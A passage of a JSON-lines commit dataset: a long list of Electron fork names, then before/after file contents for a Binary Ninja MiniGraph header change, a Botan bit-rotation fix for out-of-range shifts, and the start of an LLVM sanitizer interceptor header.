electron,chrisswk\/electron,anko\/electron,medixdev\/electron,mattotodd\/electron,lrlna\/electron,electron\/electron,GoooIce\/electron,jlord\/electron,smczk\/electron,etiktin\/electron,GoooIce\/electron,brenca\/electron,lzpfmh\/electron,mirrh\/electron,dkfiresky\/electron,saronwei\/electron,bbondy\/electron,chrisswk\/electron,tinydew4\/electron,minggo\/electron,natgolov\/electron,adcentury\/electron,soulteary\/electron,biblerule\/UMCTelnetHub,robinvandernoord\/electron,takashi\/electron,adcentury\/electron,adcentury\/electron,adamjgray\/electron,bruce\/electron,MaxWhere\/electron,kokdemo\/electron,aecca\/electron,Andrey-Pavlov\/electron,sshiting\/electron,roadev\/electron,bobwol\/electron,MaxWhere\/electron,Jonekee\/electron,hokein\/atom-shell,gbn972\/electron,bright-sparks\/electron,seanchas116\/electron,mrwizard82d1\/electron,kostia\/electron,jhen0409\/electron,stevemao\/electron,stevemao\/electron,jjz\/electron,thingsinjars\/electron,kikong\/electron,Evercoder\/electron,trigrass2\/electron,twolfson\/electron,wolfflow\/electron,fireball-x\/atom-shell,shaundunne\/electron,evgenyzinoviev\/electron,Andrey-Pavlov\/electron,fireball-x\/atom-shell,nicholasess\/electron,shaundunne\/electron,tinydew4\/electron,edulan\/electron,John-Lin\/electron,anko\/electron,jonatasfreitasv\/electron,JussMee15\/electron,voidbridge\/electron,JesselJohn\/electron,jlhbaseball15\/electron,GoooIce\/electron,jjz\/electron,jannishuebl\/electron,tonyganch\/electron,IonicaBizauKitchen\/electron,BionicClick\/electron,stevekinney\/electron,dkfiresky\/electron,leolujuyi\/electron,sircharleswatson\/electron,gabriel\/electron,d-salas\/electron,thompsonemerson\/electron,MaxGraey\/electron,fireball-x\/atom-shell,Ivshti\/electron,medixdev\/electron,jaanus\/electron,Evercoder\/electron,simongregory\/electron,rajatsingla28\/electron,twolfson\/electron,cos2004\/electron,astoilkov\/electron,dongjoon-hyun\/electron,jlhbaseball15\/electron,Zagorakiss\/electron,Jonekee\/electron,Ivshti\/electron,ervinb\/electron,Neron-X5\/electron,Jonekee\/electron,mjaniszew\/electron,takashi\/electron,leftstick\/electron,coderhaoxin\/electron,pandoraui\/electron,chriskdon\/electron,mattdesl\/electron,pirafrank\/electron,Evercoder\/electron,lzpfmh\/electron,the-ress\/electron,fabien-d\/electron,farmisen\/electron,Jonekee\/electron,biblerule\/UMCTelnetHub,cos2004\/electron,matiasinsaurralde\/electron,nicholasess\/electron,abhishekgahlot\/electron,voidbridge\/electron,ervinb\/electron,icattlecoder\/electron,brave\/electron,wan-qy\/electron,jacksondc\/electron,Zagorakiss\/electron,dahal\/electron,joaomoreno\/atom-shell,thomsonreuters\/electron,eriser\/electron,simongregory\/electron,bpasero\/electron,sircharleswatson\/electron,RobertJGabriel\/electron,preco21\/electron,Floato\/electron,carsonmcdonald\/electron,JussMee15\/electron,meowlab\/electron,edulan\/electron,posix4e\/electron,shennushi\/electron,matiasinsaurralde\/electron,gabrielPeart\/electron,kenmozi\/electron,jannishuebl\/electron,posix4e\/electron,gamedevsam\/electron,Neron-X5\/electron,jsutcodes\/electron,xfstudio\/electron,bitemyapp\/electron,setzer777\/electron,jaanus\/electron,Gerhut\/electron,brave\/electron,mirrh\/electron,neutrous\/electron,brave\/electron,posix4e\/electron,simonfork\/electron,micalan\/electron,preco21\/electron,aichingm\/electron,coderhaoxin\/electron,biblerule\/UMCTelnetHub,xiruibing\/electron,xiruibing\/electron,ankitaggarwal011\/electron,rsvip\/electron,joaomoreno\/atom-shell,jjz\/electron,kostia\/electron,michaelchiche\/electron,kazupon\/electron,xiruibing\/electron,shiftkey\/electron,tylergibson\/electron,deepak1556\/atom-shell,cos2004\/electron,Rokt33r\/electron,anko\/electron,d-salas\/electron,bitemyapp\/electron,aliib\/electron,webmechanicx\/electron,shaundunne\/electron,ankitaggarwal011\/electron,vaginessa\/electron,saronwei\/electron,RobertJGabriel\/electron,webmechanicx\/electron,pandoraui\/electron,leftstick\/electron,preco21\/electron,jsutcodes\/electron,eric-seekas\/electron,meowlab\/electron,shennushi\/electron,ervinb\/electron,jonatasfreitasv\/electron,IonicaBizauKitchen\/electron,egoist\/electron,faizalpribadi\/electron,jhen0409\/electron,ankitaggarwal011\/electron,arusakov\/electron,tinydew4\/electron,IonicaBizauKitchen\/electron,gbn972\/electron,sshiting\/electron,LadyNaggaga\/electron,mattdesl\/electron,hokein\/atom-shell,jtburke\/electron,coderhaoxin\/electron,aichingm\/electron,RobertJGabriel\/electron,minggo\/electron,dahal\/electron,kikong\/electron,mrwizard82d1\/electron,Andrey-Pavlov\/electron,edulan\/electron,roadev\/electron,shockone\/electron,pirafrank\/electron,Faiz7412\/electron,rhencke\/electron,gstack\/infinium-shell,simonfork\/electron,iftekeriba\/electron,jaanus\/electron,shockone\/electron,lrlna\/electron,mhkeller\/electron,benweissmann\/electron,leolujuyi\/electron,BionicClick\/electron,roadev\/electron,jtburke\/electron,iftekeriba\/electron,shiftkey\/electron,faizalpribadi\/electron,bruce\/electron,kenmozi\/electron,bright-sparks\/electron,mhkeller\/electron,MaxWhere\/electron,Ivshti\/electron,fomojola\/electron,digideskio\/electron,brave\/muon,maxogden\/atom-shell,oiledCode\/electron,darwin\/electron,arusakov\/electron,Neron-X5\/electron,xfstudio\/electron,thompsonemerson\/electron,anko\/electron,benweissmann\/electron,adamjgray\/electron,yan-foto\/electron,brave\/muon,micalan\/electron,mrwizard82d1\/electron,davazp\/electron,aecca\/electron,pirafrank\/electron,deepak1556\/atom-shell,xfstudio\/electron,gamedevsam\/electron,systembugtj\/electron,voidbridge\/electron,kostia\/electron,etiktin\/electron,nicobot\/electron,tinydew4\/electron,yan-foto\/electron,abhishekgahlot\/electron,lzpfmh\/electron,gerhardberger\/electron,wan-qy\/electron,shennushi\/electron,kazupon\/electron,deed02392\/electron,SufianHassan\/electron,pandoraui\/electron,rajatsingla28\/electron,mattotodd\/electron,chriskdon\/electron,jiaz\/electron,jtburke\/electron,thompsonemerson\/electron,bwiggs\/electron,mattotodd\/electron,farmisen\/electron,michaelchiche\/electron,thompsonemerson\/electron,bobwol\/electron,eriser\/electron,posix4e\/electron,fritx\/electron,soulteary\/electron,evgenyzinoviev\/electron,jlhbaseball15\/electron,nekuz0r\/electron,bright-sparks\/electron,jhen0409\/electron,thompsonemerson\/electron,gbn972\/electron,subblue\/electron,darwin\/electron,wolfflow\/electron,voidbridge\/electron,synaptek\/electron,shaundunne\/electron,robinvandernoord\/electron,mubassirhayat\/electron,jcblw\/electron,wolfflow\/electron,fabien-d\/electron,trigrass2\/electron,jacksondc\/electron,joneit\/electron,kenmozi\/electron,rreimann\/electron,bwiggs\/electron,felixrieseberg\/electron,simonfork\/electron,biblerule\/UMCTelnetHub,howmuchcomputer\/electron,mattdesl\/electron,tomashanacek\/electron,the-ress\/electron,thomsonreuters\/electron,abhishekgahlot\/electron,dahal\/electron,noikiy\/electron,seanchas116\/electron,dahal\/electron,oiledCode\/electron,aecca\/electron,bitemyapp\/electron,aichingm\/electron,stevekinney\/electron,oiledCode\/electron,leftstick\/electron,sky7sea\/electron,faizalpribadi\/electron,destan\/electron,mattdesl\/electron,robinvandernoord\/electron,LadyNaggaga\/electron,darwin\/electron,simongregory\/electron,iftekeriba\/electron,yan-foto\/electron,howmuchcomputer\/electron,sircharleswatson\/electron,tincan24\/electron,rprichard\/electron,pandoraui\/electron,destan\/electron,jhen0409\/electron,thingsinjars\/electron,aliib\/electron,jonatasfreitasv\/electron,renaesop\/electron,natgolov\/electron,mrwizard82d1\/electron,Zagorakiss\/electron,timruffles\/electron,jannishuebl\/electron,Rokt33r\/electron,synaptek\/electron,brave\/muon,stevekinney\/electron,yalexx\/electron,lzpfmh\/electron,ianscrivener\/electron,shiftkey\/electron,brenca\/electron,coderhaoxin\/electron,dongjoon-hyun\/electron,eric-seekas\/electron,bpasero\/electron,John-Lin\/electron,posix4e\/electron,zhakui\/electron,rhencke\/electron,GoooIce\/electron,Jacobichou\/electron,jonatasfreitasv\/electron,medixdev\/electron,wolfflow\/electron,rajatsingla28\/electron,tincan24\/electron,aaron-goshine\/electron,DivyaKMenon\/electron,digideskio\/electron,pandoraui\/electron,neutrous\/electron,ankitaggarwal011\/electron,anko\/electron,tincan24\/electron,bitemyapp\/electron,SufianHassan\/electron,jcblw\/electron,pirafrank\/electron,gabriel\/electron,jsutcodes\/electron,mubassirhayat\/electron,tomashanacek\/electron,bitemyapp\/electron,stevemao\/electron,brave\/muon,RIAEvangelist\/electron,tomashanacek\/electron,SufianHassan\/electron,maxogden\/atom-shell,rajatsingla28\/electron,stevekinney\/electron,Ivshti\/electron,mjaniszew\/electron,deed02392\/electron,seanchas116\/electron,kcrt\/electron,roadev\/electron,benweissmann\/electron,aecca\/electron,gabrielPeart\/electron,saronwei\/electron,bruce\/electron,arturts\/electron,wolfflow\/electron,evgenyzinoviev\/electron,kcrt\/electron,vHanda\/electron,abhishekgahlot\/electron,Gerhut\/electron,mrwizard82d1\/electron,bbondy\/electron,anko\/electron,miniak\/electron,baiwyc119\/electron,kokdemo\/electron,zhakui\/electron,sshiting\/electron,gabrielPeart\/electron,sshiting\/electron,aichingm\/electron,greyhwndz\/electron,matiasinsaurralde\/electron,jaanus\/electron,saronwei\/electron,arturts\/electron,shockone\/electron,fabien-d\/electron,yalexx\/electron,mattotodd\/electron,dkfiresky\/electron,chriskdon\/electron,simonfork\/electron,edulan\/electron,robinvandernoord\/electron,vHanda\/electron,benweissmann\/electron,takashi\/electron,rajatsingla28\/electron,nicholasess\/electron,smczk\/electron,synaptek\/electron,John-Lin\/electron,Floato\/electron,bpasero\/electron,tinydew4\/electron,deepak1556\/atom-shell,jacksondc\/electron,twolfson\/electron,jlord\/electron,JussMee15\/electron,iftekeriba\/electron,egoist\/electron,brave\/muon,micalan\/electron,maxogden\/atom-shell,gbn972\/electron,aliib\/electron,bitemyapp\/electron,bobwol\/electron,chriskdon\/electron,gamedevsam\/electron,icattlecoder\/electron,electron\/electron,arusakov\/electron,electron\/electron,astoilkov\/electron,yalexx\/electron,felixrieseberg\/electron,arusakov\/electron,bright-sparks\/electron,thingsinjars\/electron,renaesop\/electron,nicholasess\/electron,dongjoon-hyun\/electron,saronwei\/electron,takashi\/electron,meowlab\/electron,chrisswk\/electron,cqqccqc\/electron,Neron-X5\/electron,joaomoreno\/atom-shell,etiktin\/electron,wan-qy\/electron,jonatasfreitasv\/electron,rajatsingla28\/electron,destan\/electron,BionicClick\/electron,mattdesl\/electron,yan-foto\/electron,vHanda\/electron,kenmozi\/electron,timruffles\/electron,brave\/electron,gamedevsam\/electron,tylergibson\/electron,jacksondc\/electron,mubassirhayat\/electron,tonyganch\/electron,mhkeller\/electron,rprichard\/electron,thingsinjars\/electron,eric-seekas\/electron,oiledCode\/electron,kokdemo\/electron,bobwol\/electron,renaesop\/electron,destan\/electron,deepak1556\/atom-shell,jcblw\/electron,arusakov\/electron,gabriel\/electron,JesselJohn\/electron,gstack\/infinium-shell,gabriel\/electron,adcentury\/electron,brenca\/electron,Faiz7412\/electron,vaginessa\/electron,matiasinsaurralde\/electron,arusakov\/electron,maxogden\/atom-shell,felixrieseberg\/electron,beni55\/electron,thingsinjars\/electron,voidbridge\/electron,dahal\/electron,noikiy\/electron,mubassirhayat\/electron,jlord\/electron,cos2004\/electron,lrlna\/electron,Gerhut\/electron,michaelchiche\/electron,dongjoon-hyun\/electron,MaxWhere\/electron,leolujuyi\/electron,jannishuebl\/electron,RobertJGabriel\/electron,neutrous\/electron,benweissmann\/electron,astoilkov\/electron,kcrt\/electron,kostia\/electron,farmisen\/electron,bruce\/electron,rprichard\/electron,nagyistoce\/electron-atom-shell,sky7sea\/electron,vipulroxx\/electron,tylergibson\/electron,vaginessa\/electron,jsutcodes\/electron,xiruibing\/electron,baiwyc119\/electron,kazupon\/electron,fomojola\/electron,IonicaBizauKitchen\/electron,Ivshti\/electron,bwiggs\/electron,rsvip\/electron,mubassirhayat\/electron,LadyNaggaga\/electron,nekuz0r\/electron,jhen0409\/electron,fritx\/electron,deed02392\/electron,chrisswk\/electron,JussMee15\/electron,astoilkov\/electron,BionicClick\/electron,SufianHassan\/electron,fffej\/electron,leftstick\/electron,yalexx\/electron,trankmichael\/electron,nekuz0r\/electron,tylergibson\/electron,vHanda\/electron,jsutcodes\/electron,rsvip\/electron,preco21\/electron,meowlab\/electron,Neron-X5\/electron,GoooIce\/electron,tinydew4\/electron,fabien-d\/electron,lrlna\/electron,neutrous\/electron,coderhaoxin\/electron,mattdesl\/electron,gabriel\/electron,thomsonreuters\/electron,RIAEvangelist\/electron,DivyaKMenon\/electron,evgenyzinoviev\/electron,ianscrivener\/electron,mirrh\/electron,John-Lin\/electron,dongjoon-hyun\/electron,carsonmcdonald\/electron,jiaz\/electron,howmuchcomputer\/electron,lrlna\/electron,nicholasess\/electron,vipulroxx\/electron,nagyistoce\/electron-atom-shell,eric-seekas\/electron,stevemao\/electron,etiktin\/electron,yan-foto\/electron,nagyistoce\/electron-atom-shell,dkfiresky\/electron,twolfson\/electron,Andrey-Pavlov\/electron,jlord\/electron,fomojola\/electron,DivyaKMenon\/electron,systembugtj\/electron,thomsonreuters\/electron,thomsonreuters\/electron,yan-foto\/electron,miniak\/electron,greyhwndz\/electron,kikong\/electron,ianscrivener\/electron,medixdev\/electron,nicobot\/electron,bright-sparks\/electron,deepak1556\/atom-shell,MaxWhere\/electron,baiwyc119\/electron,tomashanacek\/electron,rhencke\/electron,xiruibing\/electron,carsonmcdonald\/electron,MaxGraey\/electron,roadev\/electron,arturts\/electron,robinvandernoord\/electron,takashi\/electron,nicobot\/electron,mhkeller\/electron,jtburke\/electron,systembugtj\/electron,jaanus\/electron,beni55\/electron,bright-sparks\/electron,kikong\/electron,aecca\/electron,arturts\/electron,nicobot\/electron,Jacobichou\/electron,bruce\/electron,biblerule\/UMCTelnetHub,egoist\/electron,smczk\/electron,shockone\/electron,zhakui\/electron,felixrieseberg\/electron,fireball-x\/atom-shell,systembugtj\/electron,shennushi\/electron,rreimann\/electron,shennushi\/electron,arturts\/electron,fritx\/electron,jsutcodes\/electron,Zagorakiss\/electron,howmuchcomputer\/electron,jlhbaseball15\/electron,shiftkey\/electron,gerhardberger\/electron,destan\/electron,micalan\/electron,rhencke\/electron,leftstick\/electron,seanchas116\/electron,gerhardberger\/electron,noikiy\/electron,christian-bromann\/electron,gbn972\/electron,Floato\/electron,jannishuebl\/electron,tomashanacek\/electron,DivyaKMenon\/electron,matiasinsaurralde\/electron,cqqccqc\/electron,kikong\/electron,trankmichael\/electron,systembugtj\/electron,bobwol\/electron,minggo\/electron,davazp\/electron,trigrass2\/electron,gbn972\/electron,jlhbaseball15\/electron,beni55\/electron,wolfflow\/electron,farmisen\/electron,mattotodd\/electron,kazupon\/electron,renaesop\/electron,zhakui\/electron,tonyganch\/electron,noikiy\/electron,sky7sea\/electron,posix4e\/electron,brenca\/electron,jcblw\/electron,ankitaggarwal011\/electron,leethomas\/electron,renaesop\/electron,aaron-goshine\/electron,evgenyzinoviev\/electron,cqqccqc\/electron,rreimann\/electron,bpasero\/electron,kokdemo\/electron,adamjgray\/electron,nekuz0r\/electron,SufianHassan\/electron,seanchas116\/electron,digideskio\/electron,Gerhut\/electron,pombredanne\/electron,baiwyc119\/electron,renaesop\/electron,SufianHassan\/electron,beni55\/electron,nagyistoce\/electron-atom-shell,pirafrank\/electron,kazupon\/electron,trankmichael\/electron,tincan24\/electron,christian-bromann\/electron,miniak\/electron,RIAEvangelist\/electron,Evercoder\/electron,kenmozi\/electron,JussMee15\/electron,DivyaKMenon\/electron,greyhwndz\/electron,shaundunne\/electron,the-ress\/electron,nicobot\/electron,fritx\/electron,vHanda\/electron,faizalpribadi\/electron,setzer777\/electron,webmechanicx\/electron,fffej\/electron,ankitaggarwal011\/electron,dongjoon-hyun\/electron,leftstick\/electron,setzer777\/electron,vaginessa\/electron,trigrass2\/electron,etiktin\/electron,felixrieseberg\/electron,mrwizard82d1\/electron,leethomas\/electron,brenca\/electron,medixdev\/electron,tincan24\/electron,joneit\/electron,shockone\/electron,trankmichael\/electron,arturts\/electron,matiasinsaurralde\/electron,John-Lin\/electron,carsonmcdonald\/electron,Floato\/electron,fomojola\/electron,bpasero\/electron,Faiz7412\/electron,bbondy\/electron,JesselJohn\/electron,gstack\/infinium-shell,abhishekgahlot\/electron,Jacobichou\/electron,brave\/electron,lrlna\/electron,fabien-d\/electron,gstack\/infinium-shell,neutrous\/electron,d-salas\/electron,Jonekee\/electron,joaomoreno\/atom-shell,trigrass2\/electron,oiledCode\/electron,etiktin\/electron,davazp\/electron,fffej\/electron,the-ress\/electron,nekuz0r\/electron,eric-seekas\/electron,Neron-X5\/electron,jcblw\/electron,farmisen\/electron,robinvandernoord\/electron,Evercoder\/electron,joaomoreno\/atom-shell,miniak\/electron,bwiggs\/electron,stevemao\/electron,stevekinney\/electron,stevekinney\/electron,vipulroxx\/electron,ianscrivener\/electron,smczk\/electron,Andrey-Pavlov\/electron,dkfiresky\/electron,micalan\/electron,beni55\/electron,BionicClick\/electron,jiaz\/electron,jonatasfreitasv\/electron,pombredanne\/electron,pirafrank\/electron,eric-seekas\/electron,gamedevsam\/electron,howmuchcomputer\/electron,rreimann\/electron,leolujuyi\/electron,astoilkov\/electron,vHanda\/electron,soulteary\/electron,kokdemo\/electron,RIAEvangelist\/electron,pombredanne\/electron,kokdemo\/electron,gerhardberger\/electron,electron\/electron,leethomas\/electron,trigrass2\/electron,JussMee15\/electron,joneit\/electron,thingsinjars\/electron,MaxGraey\/electron,the-ress\/electron,dahal\/electron,jannishuebl\/electron,trankmichael\/electron,simongregory\/electron,leethomas\/electron,greyhwndz\/electron,christian-bromann\/electron,baiwyc119\/electron,rhencke\/electron,synaptek\/electron,thompsonemerson\/electron,faizalpribadi\/electron,smczk\/electron,rsvip\/electron,minggo\/electron,IonicaBizauKitchen\/electron,darwin\/electron,Rokt33r\/electron,adamjgray\/electron,sshiting\/electron,carsonmcdonald\/electron,tonyganch\/electron,deed02392\/electron,natgolov\/electron,gerhardberger\/electron,kcrt\/electron,JesselJohn\/electron,cos2004\/electron,edulan\/electron,kcrt\/electron,tylergibson\/electron,vipulroxx\/electron,MaxWhere\/electron,aaron-goshine\/electron,Andrey-Pavlov\/electron,iftekeriba\/electron,aliib\/electron,Faiz7412\/electron,michaelchiche\/electron,fritx\/electron,jjz\/electron,minggo\/electron,ianscrivener\/electron,mattotodd\/electron,MaxGraey\/electron,tonyganch\/electron,destan\/electron,oiledCode\/electron,lzpfmh\/electron,mhkeller\/electron,stevemao\/electron,roadev\/electron,mirrh\/electron,leethomas\/electron,adcentury\/electron,Evercoder\/electron,trankmichael\/electron,deed02392\/electron,christian-bromann\/electron,michaelchiche\/electron,natgolov\/electron,meowlab\/electron,pombredanne\/electron,greyhwndz\/electron,fffej\/electron,aaron-goshine\/electron,mirrh\/electron,RIAEvangelist\/electron,fffej\/electron,jcblw\/electron,miniak\/electron,gabrielPeart\/electron,Rokt33r\/electron,brave\/electron,aaron-goshine\/electron,soulteary\/electron,rreimann\/electron,hokein\/atom-shell,fomojola\/electron,pandoraui\/electron,jaanus\/electron,egoist\/electron,icattlecoder\/electron,BionicClick\/electron,greyhwndz\/electron,timruffles\/electron,zhakui\/electron,gabrielPeart\/electron,simonfork\/electron,cqqccqc\/electron,subblue\/electron,cqqccqc\/electron,meowlab\/electron,electron\/electron,aecca\/electron,Jonekee\/electron,timruffles\/electron,icattlecoder\/electron,tomashanacek\/electron,egoist\/electron,vaginessa\/electron,bbondy\/electron,noikiy\/electron,mjaniszew\/electron,Floato\/electron,thomsonreuters\/electron,nekuz0r\/electron,benweissmann\/electron,wan-qy\/electron,xfstudio\/electron,electron\/electron,xfstudio\/electron,coderhaoxin\/electron,kostia\/electron,sshiting\/electron,Gerhut\/electron,digideskio\/electron,carsonmcdonald\/electron,webmechanicx\/electron,RIAEvangelist\/electron,maxogden\/atom-shell,mjaniszew\/electron,kcrt\/electron,bwiggs\/electron,edulan\/electron,aaron-goshine\/electron,icattlecoder\/electron,Rokt33r\/electron,bbondy\/electron,jhen0409\/electron,davazp\/electron,webmechanicx\/electron,Zagorakiss\/electron,RobertJGabriel\/electron,hokein\/atom-shell,jlhbaseball15\/electron,shaundunne\/electron,d-salas\/electron,ervinb\/electron,howmuchcomputer\/electron,preco21\/electron,brave\/muon,davazp\/electron,christian-bromann\/electron,electron\/electron,christian-bromann\/electron,jacksondc\/electron,jiaz\/electron,jiaz\/electron,cqqccqc\/electron,felixrieseberg\/electron,timruffles\/electron,natgolov\/electron,fomojola\/electron,evgenyzinoviev\/electron,leolujuyi\/electron,IonicaBizauKitchen\/electron,jtburke\/electron,leolujuyi\/electron,lzpfmh\/electron,tylergibson\/electron,twolfson\/electron,vaginessa\/electron,xfstudio\/electron,tonyganch\/electron,gabrielPeart\/electron,subblue\/electron,medixdev\/electron,saronwei\/electron,zhakui\/electron,nagyistoce\/electron-atom-shell,takashi\/electron,fffej\/electron,adamjgray\/electron,voidbridge\/electron,Jacobichou\/electron,darwin\/electron,fireball-x\/atom-shell,systembugtj\/electron,jiaz\/electron,Rokt33r\/electron,deed02392\/electron,bruce\/electron,synaptek\/electron,tincan24\/electron,vipulroxx\/electron,MaxGraey\/electron,farmisen\/electron,adcentury\/electron,jjz\/electron,chriskdon\/electron,shiftkey\/electron,rsvip\/electron,gstack\/infinium-shell,shennushi\/electron,digideskio\/electron,synaptek\/electron,joneit\/electron,subblue\/electron,leethomas\/electron,astoilkov\/electron,aichingm\/electron,ervinb\/electron,eriser\/electron,natgolov\/electron,simongregory\/electron,JesselJohn\/electron,subblue\/electron,aichingm\/electron,the-ress\/electron,aliib\/electron,wan-qy\/electron,kostia\/electron,shiftkey\/electron,webmechanicx\/electron,pombredanne\/electron,digideskio\/electron,abhishekgahlot\/electron,chriskdon\/electron,iftekeriba\/electron,jtburke\/electron,vipulroxx\/electron,gamedevsam\/electron,joneit\/electron,rprichard\/electron,jacksondc\/electron,pombredanne\/electron,eriser\/electron,sircharleswatson\/electron,preco21\/electron,sky7sea\/electron,rhencke\/electron,yalexx\/electron,mjaniszew\/electron,joaomoreno\/atom-shell,simongregory\/electron,the-ress\/electron,smczk\/electron,kazupon\/electron,setzer777\/electron,kenmozi\/electron,RobertJGabriel\/electron,d-salas\/electron,soulteary\/electron,dkfiresky\/electron,bpasero\/electron,noikiy\/electron,brenca\/electron,gerhardberger\/electron,setzer777\/electron,egoist\/electron,Gerhut\/electron,bwiggs\/electron,davazp\/electron,nicholasess\/electron,hokein\/atom-shell,bobwol\/electron,beni55\/electron,bbondy\/electron,eriser\/electron,subblue\/electron,soulteary\/electron"}
{"commit":"39e3614c7136029acb6b18cd71e12ef2feaeaac7","old_file":"ui\/minigraph.h","new_file":"ui\/minigraph.h","old_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyView;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI MiniGraph: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\n\tDisassemblyView* m_disassemblyView = nullptr;\n\npublic:\n\tMiniGraph(QWidget* parent);\n\t~MiniGraph();\n\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n\tvirtual void mouseMoveEvent(QMouseEvent* event) override;\n\tvirtual void mousePressEvent(QMouseEvent* event) override;\n\tvirtual void paintEvent(QPaintEvent* event) override;\n\tvirtual void scrollTo(int x, int y);\n\npublic Q_SLOTS:\n\tvoid notifyUpdate();\n};\n","new_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass FlowGraphWidget;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI MiniGraph: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\n\tFlowGraphWidget* m_flowGraphWidget = nullptr;\n\npublic:\n\tMiniGraph(QWidget* parent);\n\t~MiniGraph();\n\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n\tvirtual void mouseMoveEvent(QMouseEvent* event) override;\n\tvirtual void mousePressEvent(QMouseEvent* event) override;\n\tvirtual void paintEvent(QPaintEvent* event) override;\n\tvirtual void scrollTo(int x, int y);\n\npublic Q_SLOTS:\n\tvoid notifyUpdate();\n};\n","subject":"Update MiniGraph to work with FlowGraphWidet.","message":"Update MiniGraph to work with FlowGraphWidet.\n","lang":"C","license":"mit","repos":"Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api"}
{"commit":"2b37c13dcf9f8460bf86c4b9096dcc49aed72a44","old_file":"src\/lib\/utils\/rotate.h","new_file":"src\/lib\/utils\/rotate.h","old_contents":"\/*\n* Word Rotation Operations\n* (C) 1999-2008 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_WORD_ROTATE_H__\n#define BOTAN_WORD_ROTATE_H__\n\n#include <botan\/types.h>\n\nnamespace Botan {\n\n\/**\n* Bit rotation left\n* @param input the input word\n* @param rot the number of bits to rotate\n* @return input rotated left by rot bits\n*\/\ntemplate<typename T> inline T rotate_left(T input, size_t rot)\n   {\n   return (rot == 0) ? input : static_cast<T>((input << rot) | (input >> (8*sizeof(T)-rot)));;\n   }\n\n\/**\n* Bit rotation right\n* @param input the input word\n* @param rot the number of bits to rotate\n* @return input rotated right by rot bits\n*\/\ntemplate<typename T> inline T rotate_right(T input, size_t rot)\n   {\n   return (rot == 0) ? input : static_cast<T>((input >> rot) | (input << (8*sizeof(T)-rot)));\n   }\n\n}\n\n#endif\n","new_contents":"\/*\n* Word Rotation Operations\n* (C) 1999-2008 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_WORD_ROTATE_H__\n#define BOTAN_WORD_ROTATE_H__\n\n#include <botan\/types.h>\n\nnamespace Botan {\n\n\/**\n* Bit rotation left\n* @param input the input word\n* @param rot the number of bits to rotate\n* @return input rotated left by rot bits\n*\/\ntemplate<typename T> inline T rotate_left(T input, size_t rot)\n   {\n   rot %= 8 * sizeof(T);\n   return (rot == 0) ? input : static_cast<T>((input << rot) | (input >> (8*sizeof(T)-rot)));;\n   }\n\n\/**\n* Bit rotation right\n* @param input the input word\n* @param rot the number of bits to rotate\n* @return input rotated right by rot bits\n*\/\ntemplate<typename T> inline T rotate_right(T input, size_t rot)\n   {\n   rot %= 8 * sizeof(T);\n   return (rot == 0) ? input : static_cast<T>((input >> rot) | (input << (8*sizeof(T)-rot)));\n   }\n\n}\n\n#endif\n","subject":"Allow bit rotation by more than sizeof(T)*8 bits.","message":"Allow bit rotation by more than sizeof(T)*8 bits.\n\nCurrently these functions will happily bit shift by >= sizeof(T)*8 bits.\nHowever, this is undefined behavior, and results in unexpected results (0)\non at least one platform I've tested.\n\nWith this update, you can expect that rotate_left<uint32_t>(1, 32)==1\nand rotate_right<uint32_t>(1, 32)==1.\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan"}
{"commit":"5fffb9f49cd7b1237a0bfed0faebf16ef5cdeec1","old_file":"lib\/sanitizer_common\/sanitizer_platform_interceptors.h","new_file":"lib\/sanitizer_common\/sanitizer_platform_interceptors.h","old_contents":"\/\/===-- sanitizer_platform_interceptors.h -----------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines macro telling whether sanitizer tools can\/should intercept\n\/\/ given library functions on a given platform.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_internal_defs.h\"\n\n#if !defined(_WIN32)\n# define SI_NOT_WINDOWS 1\n#else\n# define SI_NOT_WINDOWS 0\n#endif\n\n#if defined(__linux__) && !defined(ANDROID)\n# define SI_LINUX_NOT_ANDROID 1\n#else\n# define SI_LINUX_NOT_ANDROID 0\n#endif\n\n# define SANITIZER_INTERCEPT_READ   SI_NOT_WINDOWS\n# define SANITIZER_INTERCEPT_PREAD  SI_NOT_WINDOWS\n# define SANITIZER_INTERCEPT_WRITE  SI_NOT_WINDOWS\n# define SANITIZER_INTERCEPT_PWRITE SI_NOT_WINDOWS\n\n# define 